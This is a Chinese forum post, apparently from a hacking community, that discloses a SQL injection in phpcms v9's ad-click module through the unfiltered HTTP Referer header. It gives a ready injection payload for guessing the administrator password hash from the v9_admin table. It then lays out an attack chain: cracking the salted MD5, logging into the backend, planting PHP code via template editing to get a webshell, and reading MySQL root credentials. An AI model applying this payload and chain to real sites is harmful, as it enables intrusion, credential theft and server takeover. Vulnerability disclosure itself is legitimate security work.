phpcms v9 广告统计处(header头referer)注入

2012-12-25 16:20:29 18 4159
首发90sec,转过来凑个数,sb 360说是他发现的http://www.pcpop.com/doc/jsu/12/123491.shtml
原帖在这儿,比他早一个月
https://forum.90sec.org/thread-4388-1-1.html
虽然不是啥大洞,找之前没参考phpcms其他洞的信息,找出来后,专门去搜了下,没有报道这个注入的,找了半天才发现老早以前有个报phpcms2008也有这个问题的,很类似,但我的确不是抄袭

author:[email protected]

文件:phpcms/modules/poster/index.php  

poster_click()方法 第27或119行

$this->s_db->insert(array('siteid'=>$siteid, 'pid'=>$id, 'username'=>$username, 'area'=>$area, 'ip'=>$ip, 'referer'=>HTTP_REFERER, 'clicktime'=>SYS_TIME, 'type'=> 1));
HTTP_REFERER 被定义于 /phpcms/base.php 文件第23行

define('HTTP_REFERER', isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : '');     //未作任何过滤
利用方法:
去首页找一个广告链接
eg:http://www.90sec.org/index.php?m=poster&;c=index&a=poster_click&sitespaceid=1&id=639
改变header头部referer值提交

注入sql构造例子:

90sec','1',(select password from v9_admin where userid =1 and left(password,8) = '377ad72f'))#         //根据页面返回是否正常猜字段值
32md5  小写字母a-f 0-9加密是md5(md5($pass).$salt)  还需要查encrypt字段,6个长度  拿到后和密码丢到cmd5解密,剩下了就靠运气了,用户名一般是phpcms,如果不是再查username字段呗,进后台拿shell就是网上流传的那样,编辑模板写php代码,然后预览。如果权限够大,去查mysql.user里root密码
表名前缀默认v9_ ,如果不是 需要根据报错信息自行修改

后台登陆地址: http://www.90sec.org/index.php?m=admin&;c=index&a=login

关于作者

lbjygo10篇文章327篇回复

hello, 灰阔

评论18次

要评论?请先  登录  或  注册